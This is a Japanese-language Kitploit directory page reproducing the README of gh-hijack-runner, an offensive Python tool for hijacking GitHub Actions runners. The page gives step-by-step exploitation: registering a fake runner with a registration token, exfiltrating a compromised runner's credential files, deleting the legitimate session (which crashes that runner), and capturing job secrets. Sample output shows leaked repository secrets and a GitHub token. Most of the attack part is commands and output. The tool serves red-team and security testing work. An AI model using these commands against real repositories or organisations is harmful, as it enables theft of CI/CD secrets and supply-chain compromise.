Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
gh-hijack-runner — 偽のGitHubランナーを作成し、パイプラインジョブを乗っ取ってCI/CDシークレットを漏えいさせるPythonスクリプト。 | Kitploit
ツール/GitHubGitHub/synacktiv/gh-hijack-runner
エクスプロイトデータ流出ペネトレーションテストクラウドセキュリティサプライチェーンセキュリティレッドチーミング
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

偽のGitHubランナーを作成し、パイプラインジョブを乗っ取ってCI/CDシークレットを漏えいさせるPythonスクリプト。

リポジトリを見る
3351年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

gh-hijack-runner

偽のGitHubランナーを作成し、パイプラインジョブを乗っ取ってCI/CDのシークレットを漏洩させるPythonスクリプトです。

詳細は以下のブログ記事で確認できます: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

悪用手順

登録トークンを入手できるか、セルフホスト型GitHubランナーでリモートコード実行を達成できる場合、GitHubランナーを作成または乗っ取ることができます。これにより、そのランナーに渡されるすべてのシークレットにアクセスできるようになります。

登録トークンを使用すると、ubuntu-latest というラベルを持つランナーを登録でき、本来GitHubが提供するランナー向けのジョブにアクセスできます。これにより、この手法を使用する任意のワークフローを危険にさらすことができます。

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

インストール

root@kitploit:~
$ pip install -r requirements.txt 

使い方

登録トークンを使う場合

リポジトリまたは組織のセルフホスト型ランナーを登録するための登録トークンを入手できた場合、以下のコマンドで偽のGitHubランナーを登録できます:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

これは組織またはリポジトリの登録トークンのどちらでも使用できます。

既存のGitHubランナーの認証情報を使う場合

セルフホスト型ランナーで任意のコード実行が可能な場合、侵害したランナーの身元を引き継ぐために3つのファイルを外部に持ち出す必要があります:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

ジョブを取得するために、ランナーはGitHubとのセッションを確立します。各ランナーは1つのセッションしか維持できません。新しいセッションを作成するには、正規のランナーが確立した現在のセッションを削除する必要があります。セッションIDはここで確認できます:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ 現在のセッションを削除すると、正規のランナーはクラッシュします /!\

次に、現在のセッションを削除できます:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

最後に、このランナーを乗っ取ることができます:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

なお、エフェメラルなセルフホスト型ランナーではこれは機能しないことに注意してください。

ヘルプ

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

クレジット

  • @karimpwnz — 暗号化 について
  • @0xn3va — セッション削除 の部分について
  • @frichette_n — GitLabに関する元のアイデア について
ツールをダウンロード